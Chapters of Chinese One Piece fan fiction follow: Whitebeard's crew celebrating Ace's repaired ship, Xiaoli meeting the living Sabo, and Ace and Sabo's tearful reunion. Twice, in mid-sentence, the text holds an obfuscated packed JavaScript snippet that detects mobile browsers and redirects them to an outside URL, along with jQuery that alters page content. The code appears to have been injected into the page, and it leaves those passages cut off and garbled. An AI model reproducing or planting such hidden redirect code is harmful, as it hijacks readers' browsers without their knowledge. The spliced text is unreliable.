小狸的“有没有想我”被甜蜜的突袭彻底堵了回去。她抬手扶住蛋糕,眼睛瞬间瞪圆,条件反射般地开始“嚼嚼嚼”,腮帮子塞的圆滚滚,浓郁的奶香和甜蜜的枫糖味在口腔炸开,脸上迅速写满了被顶级美味瞬间征服的幸福与专注,暂时把其他事情都抛到了脑后。 萨奇满意地看着她专心致志咀嚼的样子,宠溺地揉了揉她蓬松的头发。对他而言,所谓的“厨师的真谛与至高幸福”,大概就是此刻这种看着珍视的家人被自己亲手制作的食物治愈,露出一脸毫无阴霾的满足表情吧。 小狸趁大家注意力还在寒暄上,飞快地在自己衣服下摆上蹭了蹭刚才拿蛋糕时沾到的一点糖浆。白胡子将她的小动作尽收眼底,眼中掠过一丝纵容的笑意,并未点破,只是微微弯下腰。小狸便心领神会、手脚并用地爬上了老爹宽厚如平台般的肩膀,熟练地找了个舒服的位置趴下,像只巡视领地的骄傲小猫。 艾斯此时也整理好了表情,带着掩饰不住的骄傲,大步迎向家人们,像个迫不及待展示心爱作品的大男孩。 “老爹!马尔科!这就是全新的‘炎雀号’!” 大家都非常给面子,配合地发出赞叹,围着船身仔细打量,品评着修复的工艺和崭新的设计。 “咕啦啦啦!不错嘛,小子!这船首像,很有气势!”白胡子洪亮的声音响起。 “木材的选料和拼接工艺都很扎实,看来没偷懒啊,艾斯。”马尔科推了推眼镜,专业地点评。 “油漆的颜色很正,阳光下真漂亮!”以藏微笑着颔首。 “这里!还有这里!我也有帮忙哦!” 小狸终于咽下了美味的蛋糕,恢复了语言能力,立刻不甘示弱地在老爹肩膀上挺直身板,伸出手指着船舷和部分木饰上那些精致的花纹雕刻,又指向光亮如镜的桅杆漆面,“那些油漆是我刷的!艾斯说我刷得最均匀,比他们都好!” 她急于分享功劳的小模样可爱极了,蓝眼睛亮晶晶地期待着夸奖。 “哦——!很厉害嘛小狸!” “手艺真不错!一点痕迹都看不出来!” 队长们非常给面子地附和她,小狸被夸得有些不好意思,耳朵尖微微泛红,但嘴角的笑容却怎么也压不下去,越咧越大,最后干脆不忍了,一脸傻笑,周身洋溢着被认可的幸福泡泡。 “既然船也修好了,人也齐了,干脆一起去镇上的酒馆坐坐吧?” 萨奇拍了拍自己扛来的酒桶,提议道,然后促狭地看向艾斯,“为了庆祝‘炎雀’新生,当然得是船长请客,对吧,艾斯?” “哦哦哦哦——!!!艾斯请客!!!” “船长万岁!” “今天要喝个痛快!” 欢呼声再次四起,比刚才竣工时还要热烈几分。 白胡子也发出洪亮、充满愉悦的大笑:“咕啦啦啦!既然是艾斯请客,那我可不得不去喝一杯了!” “只一杯么?老爹,我还在哦~” 小狸立刻警觉地竖起耳朵,用不大但足以让附近人听清的声音“提醒”道,同时冲着站在稍远处的马尔科狡黠地眨了眨眼,比了一个“交给我,放心吧”的大拇指手势。 马尔科装作没看到自家老爹瞬间投来的带着点埋怨的眼神,推了推眼镜,也悄悄给小狸回了一个大拇指,嘴角微扬。 一行人浩浩荡荡,如同移动的庆典队伍,在岛上居民友善好奇的目光中,朝着镇上最热闹、也是白胡子海贼团常光顾的那家老酒馆走去。 路上的人们看到这一大群形貌各异、气势不凡的海贼,不仅没有害怕躲避,反而纷纷露出笑容,熟络地打着招呼: “下午好,爱德华先生!” “乔兹队长,又来喝酒啊?” “萨奇!今天的鱼很新鲜,要不要带点回去?” 路边卖水果的慈祥阿姨,更是直接让自家虎头虎脑的小孙子,抱着一大篮子新鲜水果,噔噔噔跑到队伍最前面,不由分说塞进了看起来最好说话的马尔科怀里。 “奶奶让给的!说谢谢你们上次帮我们赶走了捣乱的海贼!”小男孩脸红红的,大声说完就跑了回去。 “喂,这……”马尔科抱着沉甸甸的果篮,有些无奈。 白胡子却笑着,对那位水果摊阿姨点头致意,然后对马尔科说:“收下吧,马尔科。”毕竟他知道,对于这些善良的普通人而言,能与四皇的海贼团建立起这种平和、互惠的邻里关系,比起拒绝或者强行付钱,坦然接受这份心意,更能让他们安心。而且只是些自家产的水果,不值什么钱,下次补给经过时,多光顾一下就是了。 酒馆很快被这群热闹的家伙填满,空间顿时显得有些拥挤喧嚣。有艾斯请客,众人也没客气,你一言我一语地点着菜和酒,气氛瞬间火热起来。 “老板!把你们最好的酒都拿出来!” “肉!要大块的烤肉!” “艾斯今天可是大出血啊!哈哈哈哈哈!” “艾斯那副有多少花多少的样子,口袋里真的还有钱吗?” “不是还有小狸呢嘛!小狸可是挥挥手就给出去一个亿啊” “哈哈哈哈!” 众人哄笑,善意地调侃着。小狸也举着个和她脸差不多大的木质酒杯,里面被倒满了香甜的果汁,凑在热闹的人群里,小脸兴奋得红扑扑的。 白胡子纵容地看着她,甚至亲自拿起酒壶,给她见底的杯里又添满了一些,动作自然得仿佛只是给花园里的花浇水。 马尔科坐在白胡子旁边那桌,自己端着一杯酒,慢悠悠地啜饮着,此刻瞥了一眼,用不大却清晰的声音,悠闲地说了一句:“老爹,你是觉得把小狸灌醉了,就没人盯着你喝酒了是吧?这算盘打得我在莫比迪克号上都听见了。” 白胡子的动作微不可查地僵了一下,随即粗声粗气地反驳:“……啰嗦! 我只是看她喜欢!” 但那微微飘忽的眼神和刻意加大的音量,实在没什么说服力,引得附近几个队长闷笑不已。 另一边,丢斯凑到正在和比斯斯塔拼酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117942|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的艾斯身边,趁着间隙问道:“艾斯,‘炎雀号’已经重获新生了,你想好它的第一次正式航行,要去哪里了吗?” 这个问题立刻吸引了周围一圈醉醺醺但耳朵尖的家伙们。 “新船首航! 可得选个有意义的地方!” “要不然就顺着洋流漫无目的地漂吧!遇到第一个岛就上去探险!多浪漫!” “那也太随便了吧!听说BIG MOM属下的岛屿在办美食节,要不要去凑凑热闹……” “喂喂,你们都不用回去干活了吗?说走就走啊?” “哈哈哈!要我说,干脆直接去找ONE PIECE吧!” 一直安静听着大家聊天的小狸,此刻正捧着被子小口啜饮着,听到这里猫耳好奇地动了动,仰起小脸,看向身边的白胡子,清澈的蓝眼睛里带着纯粹的疑惑: “老爹,为什么大家提到‘ONE PIECE’,都好像是在开玩笑一样呢?那个不是……很了不起的宝藏吗?” 坐在另一侧的以藏转过头,笑眯眯地为她解答,声音温和:“因为啊,小狸,这么多年过去了,真正抵达过那片最终之岛拉夫德鲁的,也只有罗杰的船队。对绝大多数人来说,那更像是一个流传在大海上的、激动人心却又遥不可及的神话,一个象征着海贼梦想的符号。” “那‘ONE PIECE’到底是什么呢?” “理论上来说,那是罗杰留下的‘宝藏’吧。” 以藏想了想,斟酌着用词,“他毕生冒险积累的、无法估量的财富……当然,更重要的,或许是随之而来的、‘海贼王’这个代表世界顶点的名号与荣誉。” 小狸仰起头,目光投向身边如同山岳般安稳的白胡子,问出了她最想知道的问题: “那……老爹不想要吗?‘ONE PIECE’。” 白胡子闻言,并没有直接回答,而是发出了低沉而充满感慨的笑声。他放下巨大的酒杯,目光缓缓扫过酒馆里每一张熟悉的脸庞,那是他的家人们。那目光温柔得如同月光下平静的海面,包容着所有的喧嚣、梦想与缺点。 “我已经找到我的‘ONE PIECE’了。” 他的声音浑厚而平稳,带着不容置疑的满足与幸福,“我出海,从来不是为了寻找什么财宝或名号。我想要的,自始至终,都只是‘家人’。” 他的目光最终落回小狸好奇的小脸上,“而现在,看着你们成长、欢笑、吵闹……这就是我这个年纪,所能想象的、最幸福的事了。” 他顿了顿,反过来问道:“那么,小狸呢?你想要‘ONE PIECE’吗?” 小狸被问得愣了一下,随即苦恼地皱起了鼻子,很认真地思考起来:“珠宝啊、金币啊……亮晶晶的是很好看啦。但是太重了,又不能全都带在身上,放在那里还会担心被别人偷走……好麻烦。” 她掰着手指头数着,“我觉得……现在就很好啦!和大家呆在一起,每天都很开心,萨奇做饭超——级好吃的!” 她眼睛亮起来,但随即又皱起脸,露出心有余悸的表情,“如果不是没有选择,我真的一点都不想再在海上吃只有盐巴的烤鱼了……”她小声嘀咕“艾斯手艺好差的……” 对于自家这只胸无大志、追求极度务实,主要体现在吃和睡上的小猫了如指掌的白胡子,闻言再次爆发出洪亮而畅快至极的爽朗大笑,震得酒杯里的酒液都微微荡漾。 要是罗杰知道,他留下的、引发大海贼时代的惊天秘宝,在自己宝贝女儿的心里,评价居然还比不过自家主厨的一顿美味饭菜,会露出什么样的表情呢? 大概……也会和自己一样,抛开一切烦恼,只是纯粹地、开怀地大笑出声吧 酒过三巡,气氛愈加热烈。得过且过、很容易被满足的小猫,在温暖嘈杂的环境和果汁中被老爹偷偷添的一点麦酒的作用下,开始感到困倦。她打了个大大的哈欠,蓝眼睛里蒙上一层水雾,眼皮开始打架。 当艾斯终于从那边的“战场”暂时脱身,回过头想找小狸时,就看到小黑猫已经歪在宽大的椅子里陷入了浅眠。白胡子的披风一角落在椅子上,她窝在里面团了一团,无意识的把披风往自己身上裹了裹,只露出半张小脸和一点黑色的发顶。她在柔软的布料里无意识地蜷缩成一团,睡得香甜,对周围的喧嚣浑然不觉。 艾斯看看被压住没法动的白胡子,准备把她抱起来,他刚伸出手,就看见自家老爹竖起食指,抵在唇边,做了一个“嘘”的动作。白胡子低下头,看着披风里那团小小的隆起,顽皮地冲艾斯眨了眨眼,用口型无声地说:“让她睡吧。” 艾斯看着老爹那难得流露出的、近乎孩子气的顽皮和温柔,再看看披风下安心沉睡的小小身影,心中涌起一股暖流。他点了点头,收回了手,只是帮小狸把滑落一点的披风边缘又往上拉了拉,仔细掖好。 然后,白胡子直接把披风解下来,重新端起巨大的酒杯,站起身。高大的身影在酒馆昏黄的灯光下投下巨大的阴影,却充满了无与伦比的温暖与力量。他环视着满堂的儿子们,看着他们脸上洋溢的笑容,看着这来之不易的团圆与平静。 他高高举起酒杯,洪亮而充满豪情的声音,压过了一切喧嚣,清晰地传遍酒馆每一个角落: “小的们!为了新生!为了家人!为了这片自由的大海——” “干杯!!!” “干杯——!!!” 酒杯碰撞声、欢呼声、笑声,再次汇成欢乐的海洋,直冲屋顶,仿佛要穿透木板,传向繁星点点的夜空,传向那片等待着“炎雀号”与它的船员们去征服的、广阔无垠的自由之海。 而在这一片喧腾的暖意中,那一团裹在洁白披风里的小小身影,不仅没被喧闹吵醒反而安心的睡得更沉了,嘴角似乎还带着一丝甜甜的、安心的弧度。 也许,她也已经找到自己的one piece了 117.并不神秘的金发跟踪狂 炎雀号静静地停靠在一处繁华城市的码头进行修整。经过投票表决,最后炎雀号的第一次航行定在了和之国,除了探望当年的小女孩小玉外还有小狸想要去看看以藏口中武士的意思,毕竟以藏不擅长剑术,最宝贝的是他的燧发枪 “武士不必拘泥于刀剑,武士是一种活法” 小狸对此一知半解,毕竟她也没见过用刀剑的武士,还是想看看他口中的武士到底是什么样子,当然,追寻蒂奇的踪迹也是压在众人心头的巨石,无论怎样也逃不开的目标。 这段航程计划得颇为悠哉,更像一场说走就走的远足。船上的氛围因此格外轻松,大家插科打诨,讨论着如何“合理压榨”船长艾斯的劳动力,憧憬着沿途的美酒与未曾见过的风景,甚至准备继承优良传统把船长塞进炉灶当火源用。 此刻,小狸正坐在甲板一片阴凉处的木桶旁,享受着上午慵懒的阳光。艾斯则毫不客气地枕在她柔软而富有弹性的大腿上,那顶标志性的橘色牛仔帽随意地扣在脸上,遮住了大半张棱角分明的脸,看似在悠闲地晒太阳小憩但是肯定没睡着,因为他的右手正非常自然的抓着小狸的一只手,有一下没一下地捏着她纤细的指尖或轻轻摩挲她的手背。那姿态,悠闲中透着一股理所当然的亲密,引得路过的船员们纷纷投来暗搓搓的、混合着“又来了”、“没眼看”、“啧,恋爱酸臭味”以及一点点羡慕的复杂目光。 小狸早已习惯了周遭的视线。她另一只手正拿着一张最新的世界经济新闻报,目光专注地扫过版面上的消息。突然,她发出一声小小的惊呼,带着明显的雀跃: “啊!路飞又上报纸了哎! 这次是头版!” “什么?路飞?” 刚才还在装睡的艾斯瞬间复活,一把拿开盖在脸上的帽子,动作快得带起一阵风,那双总是充满活力的黑色眼睛亮得惊人。他从小狸手里接过报纸,目光贪婪地锁定在头版那张熟悉的笑脸上。 “哦哦哦!路飞这小子……真是在德雷斯罗萨大闹了一场啊!” 艾斯的嘴角咧开,露出一个毫无阴霾,纯粹为弟弟感到骄傲的灿烂笑容,简直比头顶的阳光还要耀眼几分,“居然打败了多弗朗明哥,把那个‘天夜叉’弄到推进城去了!干得漂亮!不愧是我弟弟!” 小狸看着艾斯笑得见牙不见眼的开心模样,自己的心情也跟着愉悦起来,眼睛里盛满了笑意。“火烈鸟不在了,以后我们有机会也去德雷斯罗萨看看吧?听说那里很漂亮,还有好吃的。” 她顿了顿,忽然想到什么,猫耳微微转动,看向艾斯,语气带上了一点小小的担忧,“不过说起来,我们就这么直接去和之国,真的没问题么?那里……是四皇凯多的领地吧?” “没关系没关系~” 艾斯摆摆手,一副“小事一桩”的轻松模样,把报纸折好塞进怀里,好像那是路飞送来的战利品,“小心一点,别被发现就好了嘛,对吧?” 他这话说得理直气壮。 他这过于乐观的态度,立刻引来了旁边几个船员的科普和调侃: “对啊,那时候大家还没有加入白胡子海贼团,本来艾斯当时是想挑战凯多的,结果凯多和精英都远征去了,只有凯多的女儿大和留守在岛上” “然后咱们艾斯队长,就和那位大和小姐,在鬼岛打得那叫一个天昏地暗!啧啧,打了整整一天一夜,最后还一起坐下来喝酒谈心来着?””柠檬精挤眉弄眼,故意拉长了语调,“女人缘真不错啊,艾斯~ 长了张漂亮脸蛋就是占便宜哈!” “不是还有个惦记他的海军小姑娘嘛,叫什么来着……伊斯卡?后来就没见过了,不知道怎么样了……” 有人“好心”补充 几个柠檬精完全聊开了,完全没注意到邦西阿姨越来越黑的脸色 “你们几个——!” 邦西终于忍无可忍,一声怒吼打断了这群口无遮拦的家伙,她紧张地望向正安静听着大家闲聊的小狸,生怕这些没轻没重的玩笑会让小姑娘心里不舒服。 出乎所有人意料的是,小狸并未露出任何不悦、嫉妒或难过的神色。她只是歪了歪脑袋,蓬松的黑色长发随之轻轻晃动,表情甚至有些……饶有兴致?仿佛在听什么有趣的故事。 然后,她伸出空着的那只手,非常自然地与艾斯十指相扣,指尖还调皮地蹭了蹭他有些粗糙的手背。她抬起头,冲着邦西和那几个一脸“完了说错话了”的船员,露出一个甜度满分的笑容,声音清脆而坦然: “没关系哦。” 她顿了顿,目光转向枕在自己腿上的艾斯,语气里带着一种全然的了解和信任: “毕竟,以哥哥的性格,他要是真的喜欢谁,一定会清清楚楚、明明白白地说出来,恨不得拿个大喇叭昭告天下才对。才不会藏着掖着搞暧昧呢。” 她的话语瞬间抚平了甲板上所有的尴尬、紧张与不确定。那通透的理解和毫无保留的信任,让所有人都愣住了。 几秒后,众人的目光“唰”地一下,齐刷刷地、带着浓浓的揶揄和“原来如此”的笑意,转向了当事人艾斯。 艾斯不知何时已经用手臂盖住了大半张脸,但那高高扬起、几乎要咧到耳根的嘴角,还有那通红到快要冒烟的耳朵尖,却是无论如何也遮掩不住的。他甚至发出了一声被幸福砸晕般的、含糊的咕哝声。 一时间,甲板上弥漫的情绪复杂难言——不知是该打趣这位陷入爱河后显得格外“纯情”的笨蛋队长,还是该狠狠嫉妒他到底何德何能,竟能拥有如此通透豁达又全心全意爱着他的小狸。 艾斯感受到众人那火辣辣的视线,像是被瞬间点燃了某种幼稚的炫耀本能。他猛地坐起身,动作幅度大得差点撞到小狸的下巴。然后夸张地伸长手臂,不由分说地将小狸整个拉进自己怀里,紧紧抱住,还响亮地在她柔软的脸颊上亲了好几下,如同一个打了一场酣畅淋漓胜仗的将军,骄傲地昂着头,眼神亮晶晶地扫过周围众人,脸上明晃晃的写着“看!我的!” 小狸也起了坏心眼,所以相当配合他,在他怀中异常温顺。不仅没有挣扎,反而主动用头顶软软地蹭了蹭他的下巴,眯起湛蓝的眼睛,喉咙里发出细微的、满足的呼噜声。 这旁若无人、甜度超标的亲昵互动,顿时让船上的单身汉们遭受了成吨的“暴击”,哀鸿遍野: “没眼看啊没眼看!” “艾斯你够了!再秀恩爱小心遭报应!” “兄弟们!不能让他这么嚣张!快编,不是,快说!把他以前那些‘风流史’都讲出来!” 于是,在“悲愤”的驱使下,众人开始七嘴八舌地讲起艾斯各种离谱的“风流债”,从什么“在东海被不知名的贵族大小姐暗恋”,到“送报纸的温柔姑娘对他芳心暗许”,最后连“某次住旅馆时,旅馆主人那位七八十岁、慈祥的老婆婆多给他煎了个蛋”都被拿出来当成“证据”。 小狸被这群活宝逗得笑眯了眼,蓝色的猫瞳弯成了月牙儿,靠在艾斯怀里笑得肩膀直抖。看着大家越说越离谱,她忽然逗弄般的仰起小脸,在艾斯线条清晰的下巴上,飞快地、轻轻地亲了一下。 “啾。” 一声轻响,如同按下了静音键。 短暂的、令人窒息的寂静后,是更加汹涌澎湃、几乎要掀翻甲板的哀嚎、抱怨和怪叫声: “啊啊啊!没天理啊!” “光天化日!伤风败俗!” “小狸你学坏了!一定是被艾斯带坏了!” 小狸却像只恶作剧得逞、心满意足的小猫,咯咯笑着,灵活得像一尾游鱼,瞬间从艾斯骤然收紧的怀抱里钻了出来。在众人反应过来之前变回了通体漆黑的猫咪形态,尾巴高高翘起,得意地晃了晃,然后蹦蹦跳跳地几个轻盈起落,就蹿下了舷梯,消失在了码头熙熙攘攘的人流之中,只留下身后一片“人心不古”、“世风日下”、“队长带头秀恩爱,队伍没法带了”的夸张哀叹。 以及,艾斯一个人还保持着拥抱的姿势站在原地,笑得像个刚刚得到了全世界最甜的糖果的傻瓜。 --- 这座城市的确繁华热闹,充满了活力。炎雀号停靠于此,主要目的是为了补充航行所需的各类物资,食物、淡水、药品、备用零件。 小狸没什么具体的采购任务,伙伴们也都各有各的忙碌。丢斯和米娅带着清单去采买;斯卡尔去搜集情报,看看有没有关于蒂奇或和之国近况的新消息;其他人则负责搬运、检查和维护。于是,小狸便乐得一个人在城市里闲逛,享受这难得的、带着些许寒意的悠闲午后。 蒂奇像一条滑不留手的泥鳅,他们根据零星的情报东奔西跑,却往往扑空,徒劳无功。但好在,这趟旅程本身并不枯燥。有时会路过一些黑桃海贼团曾经到访过的地方,故地重游往往能勾起许多温暖或有趣的回忆,冲淡了追踪无果的疲惫与焦躁。 此刻,小狸正独自走在一条相对安静的街道上。她双手捧着一个纸质食盒,里面是还热气腾腾、滋滋作响的章鱼烧。猫舌怕烫,她小口小口地吹着气,试图让它们快点凉下来。 这座岛屿正值深秋,带着寒意的风拂过街道。她穿着高领毛衣和长裤,没戴围巾,鼻尖和脸颊被冷风吹得微微泛红。脖颈上除了老k的金属项链还十分珍重地戴着一条略显陈旧、却擦拭得干干净净的红色串珠项链——那是艾斯一直贴身佩戴、象征着与与达旦深刻羁绊的珍贵之物。 在风车村与达旦一家共同度过的那段宁静时光里,那个嘴硬心软、脾气火爆的女山贼达旦,几乎是将所有的宠爱都明目张胆、毫不吝啬地倾注在了小狸身上。后来,艾斯将这条对自己意义非凡的项链送给了小狸。因为链子对小狸的脖颈来说有些长,艾斯还特意用剩下的材料,笨拙却认真地多改了一条同款的手链,戴在了自己手腕上。 她费了好大力气,才终于将一颗吹得温温的章鱼烧小心翼翼地吃进嘴里。软糯的面糊包裹着弹牙的章鱼足,表面淋着的咸甜酱汁以及飞舞的木鱼花,在口中融合成简单而治愈的美味。她满足地哼哼着,觉得在这样寒冷干燥的天气里,能吃到热乎乎、香喷喷的食物,简直是人生最大的幸福之一。 然而,就在她沉浸在美食带来的小小慰藉时,一道格外专注、甚至带着某种强烈探究与确认意味的视线,再次落在了她身上。 小狸不禁蹙起了眉,起初她以为是炎雀号停靠引来的好奇,或者是自己的身份被认出来了。但这次的感觉……有些不同。那视线并非泛泛的打量,而是精准地锁定在她身上,带着一种……难以形容的急切与激动? 她有些不耐,下意识就想避开这烦人的注视。可走出去好远还是能感觉到那视线,目光扫过视线来源,巷口的阴影里,似乎还站着一个身影。 没完没了…… 小狸心里有些恼了,一股被冒犯的感觉升腾起来。她索性停下脚步,不再躲避,反而转过身,正对着巷口的方向,湛蓝的猫瞳在光线明暗交界处显得格外清亮。她毫不回避地冲着那片阴影,微微咧开嘴,露出一点尖尖的小犬齿,喉咙里发出警告般的、低低的嘶声,尾巴也不悦地甩动了一下。 出乎意料的是,阴影里的那人非但没有退缩或隐藏,反而举起了双手,做出一个表示无害和歉意的姿势,脸上带着一种混合着激动以及某种“终于找到了”的如释重负、显得格外真诚甚至有点傻气的笑容,主动从阴影里走了出来。 他看起来约莫二十出头,身材挺拔,穿着一身看似普通、但剪裁得体的服饰。最引人注目的是他左眼周围那一块明显的烫伤疤痕,但这并未破坏他整体俊朗的相貌,反而增添了几分历经风霜的故事感。一头耀眼的金色短发在阳光下闪烁着温暖的光泽,头上戴着一顶装饰着护目镜的黑色高礼帽,手中拿着一根材质奇怪的金属管。 “抱歉,吓到你了。我真的没有恶意,”他的语速不急不缓,努力传达着善意,“只是……想认识一下。然后,确认一些事情。” “笨蛋! 你这家伙像跟踪狂一样尾随了人家好半天,被警惕才是正常的吧!” 一个充满活力、带着些许无奈和恼怒的女声紧接着响起。一个留着利落橘色短发、戴着与金发男子同款护目镜小帽子的俏丽少女,从他身后跳了出来,有些生气地扯了扯男人的脸颊,拉得老长,扯得他连忙双手合十,对着少女连连点头,口中含糊地求饶:“克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大脑几乎停止了运转,巨大的信息量和强烈的荒诞感让她产生了轻微的眩晕。眼前站着一个“已死之人”,还讲出了只有兄弟三人知道的故事,用那样熟悉而关切的口吻询问着艾斯……不知为何,看着对方那双盛满了复杂情绪,激动、急切、怀念、不安,却唯独没有虚伪与恶意的无比真诚的眼睛,小狸心底有个声音清晰地告诉她 这是真的。 这个人,就是萨博。 艾斯的兄弟,活着的萨博。 她手里还捧着那盒章鱼烧,嘴唇微张,却发不出任何声音。 小猫那副懵懂、震惊、不知所措的可爱样子实在过于戳人心窝。萨博费了极大的力气,才克制住自己想要上前轻轻摸摸路飞口中“和艾斯极为亲近的小猫姐”的脑袋的冲动。天知道他这些年,是如何在失去记忆的迷雾中挣扎,又在恢复记忆后,被“艾斯可能已死”的噩耗反复折磨。如今,希望就在眼前,他没有办法淡然处之。 克尔拉在一旁看得分明,既为萨博感到高兴,又有点无奈于他的“笨拙”。她偷偷拧了萨博的胳膊一下,小声嘀咕:“干部,注意形象!控制一下!不要像个痴汉一样盯着人家小姑娘看啊……” 虽然她自己也必须承认,手很痒,非常想撸一把那只看起来手感就很好、现在正呆呆的、格外惹人怜爱的小猫。“你们快点相认吧!把话说清楚!” 这样我说不定就能名正言顺地亲近这只可爱的猫猫了,克尔拉在心里默默补充,眼睛里闪烁着期待的光芒。 --- 与此同时,刚刚忙完手头工作的艾斯,看了看天色,发现早已过了午饭时间,而自家那只贪玩的小猫却还没回来。 “又跑到哪里去了……” 艾斯嘀咕着,嘴角却带着纵容的笑意。他跟正在清点物资的丢斯打了声招呼,“我去城里找找小狸,顺便带她去尝尝那个有名的特色料理,听说他们的炖肉和苹果酒绝配!” 丢斯头也没抬,只是挥了挥手:“快去快回,钱在小狸那里,你别又乱买东西!” 对于自家队长“有钱就花、花完就欠”的消费习惯,丢斯早已深恶痛绝。不过这种情况在小狸来到艾斯身边后,确实改善了许多。小狸平时没什么消费欲,只买些喜欢的零食甜甜嘴,她的小包里分红来的的贝利连她自己都懒得数。如今,连丢斯也学聪明了,不再把零花钱交给不靠谱的队长,而是直接塞给小狸保管,效果卓著。 艾斯嘿嘿一笑,对于被揭穿“财政状况”毫不在意,转身跳下船,脚步轻快地融入了城市的人流。他凭着直觉和对小狸习性的了解,在几条热闹的商业街和零食摊铺集中的区域转了转,没找到人。正想着她是不是发现什么有趣的小店钻进去了,目光却扫过了那个坐在咖啡店门口白色圆桌边的身影。 好像,有些不对劲…… 小狸确实在那里,桌上放着一个食盒。但是,那盒章鱼烧明明已经凉透了,油纸都有些塌软却还剩了一大半。而她本人,并没有像往常一样悠闲地享受零食或观察路人,而是坐得笔直,显得有些僵硬,小脑袋不停地左右转动,警惕地四处张望,湛蓝的猫瞳里闪烁着紧张和一种难以形容的激动,嘴唇还微微抿着,似乎正在为什么事情而心绪不宁。 “发生什么事了么?” 艾斯心头蓦地一紧,刚才的轻松愉快瞬间被担忧取代。他加快脚步来到小狸身边:“小狸?怎么了?不舒服?” 他的注意力完全被小狸异样的状态吸引,甚至一时忽略了圆桌上摆放着的、明显不止一人份的三个咖啡杯以及旁边空着的两张椅子。 小狸听到他熟悉的声音,像是终于找到了主心骨,猛地回过神,转向他。圆溜溜的眼睛里,那复杂难辨的光芒瞬间变得更加明亮,那是一种混合了巨大震惊、难以置信的喜悦,以及不知该如何开口、如何是好的无措,所有情绪都清清楚楚地写在她脸上,完全藏不住事。 她这副样子,反而让艾斯放松下来,这小猫,又在打什么奇怪的主意? 就在艾斯心念电转,猜测各种可能性时,小狸伸出小手,有些用力地抓住了艾斯的手指。 她抬起头,声音带着一丝压抑不住的紧张和激动,还有某种即将见证重要时刻的郑重: “哥哥……” 她顿了顿,似乎在组织语言,然后,一字一句,清晰地说道: “我、我想……介绍个人给你认识。” 118.兄弟 小狸的话音刚落,甚至还没能在艾斯因担忧而紧绷的脑海中激起完整的涟漪 一股气息 一股熟悉到刻入骨髓却又遥远得如同隔世的气息,毫无预兆地撞入了他的感知。 艾斯的身体猛地僵住,血液仿佛在刹那间冻结,又在下一秒轰然逆流,冲向四肢百骸,冲得他耳膜嗡嗡作响 时间在这一刻被无限拉长。 周围的一切都如同退潮般急速褪去色彩与轮廓,模糊成一片混沌而无声的背景。只有那个身影,被某种不可思议的力量强行聚焦、凸显,无比清晰地烙印在他骤然收缩的瞳孔中央。 几步之外的那个熟悉又陌生的身影,戴着装饰护目镜的黑色高礼帽,耀眼如正午阳光的金色短发,还有那身看似随意却透着一股精英气息的装束。 以及,那双正望着他的、盈满了太多太多复杂到无法解析情绪的棕色眼睛。 四目相对。 萨博望着他,望着那张褪去了稚气、轮廓更加深刻坚毅、却依旧带着他熟悉的神采的脸。看着那眼睛从最初的焦急担忧,转为极致的震惊、茫然,再到难以置信…… 所有的冷静,所有的准备,特意准备的“开场白”都在这一刻土崩瓦解。努力维持的镇定笑容彻底碎裂,嘴唇无法控制地颤抖着,千言万语都堵在喉间,最终化作一声带着浓重哭腔的、轻不可闻的呼唤: “艾斯……” 没有任何犹豫,艾斯的身体比思维更快地做出了反应。 他猛地冲了过去,像一颗被点燃的炮弹,巨大的冲力让两人都踉跄了一下,萨博甚至被他撞得后退了半步,帽子都歪了些许。但艾斯不管不顾,他的世界只剩下眼前这个身影。他用尽全身的力气,将失而复得的兄弟死死地箍进自己怀里。手臂因为过度用力而剧烈地颤抖着,指节捏得发白,反复确认这并非又一个他在无数深夜惊醒、冷汗涔涔的梦境,不是那墓碑前冰冷的石碑带来的又一次绝望幻觉。 他的脸颊深深埋进萨博肩头略显粗糙的衣料里,鼻尖充斥着陌生的布料气息,却奇迹般地捕捉到了一丝深藏的、属于记忆深处的味道。每一个字都像是从渗血的心口硬生生抠出来的: “萨博……萨博!我……我亲眼看到……” 那些刻意尘封、不敢细想的画面,那冲天的火光、爆炸的残骸、空无一物的海面都不受控制地涌现,“我以为……我以为……” 巨大的悲痛与眼前真实存在的温热躯体带来的近乎眩晕的狂喜疯狂交织,他语无伦次,逻辑混乱,“你的墓……在不确定物终点站旁边的山上……我经常……带着酒去……” 滚烫的液体顺着他的脸颊汹涌而下,迅速浸湿了萨博肩头的布料。那不是无声的流泪,而是压抑了太久太久的、混合着痛苦、愧疚、思念和难以置信的幸福的嚎啕,只是声音被闷在了拥抱里,变成肩膀剧烈的耸动和破碎的抽气声。 萨博同样泪流满面。在艾斯冲过来的瞬间,他也毫不犹豫地张开双臂,将这个以为已经失去的兄弟紧紧回抱住。力道同样大得惊人,仿佛生怕一松手,眼前这真实到让人心脏疼痛的体温和重量,就会像晨雾一样再次消散。他哽咽着,声音颤抖得厉害,一遍遍地说着那些迟到多年、却早已在心底重复了千万遍的道歉与解释: “对不起……艾斯……对不起……” 每一个“对不起”都像一把刀,割在他自己心上,“我忘了……所有的事……哥雅王国的不确定物终点站,科尔波山,达旦一家,我们的约定,你和路飞……我全都忘了……” 失忆带来的空洞与找回记忆后知晓“艾斯已死”的巨大痛苦交织在一起,让他的声音充满了煎熬,“直到……直到在报纸上,看到马林梵多……看到顶上战争……看到你……” 那场几乎夺走艾斯生命的战争,却阴差阳错地成为了唤醒他记忆的钥匙,这其中的荒谬与残酷让他心痛如绞,“我才……我才想起来了!什么都想起来了!对不起……艾斯……我来晚了……我应该更早……在你最需要的时候……对不起……” 都以为对方死了的兄弟二人,就在这人来人往、渐渐有人驻足好奇观望的街角紧紧相拥,放任积压了十余年的泪水汹涌决堤。他们哭得肆无忌惮,毫无形象。 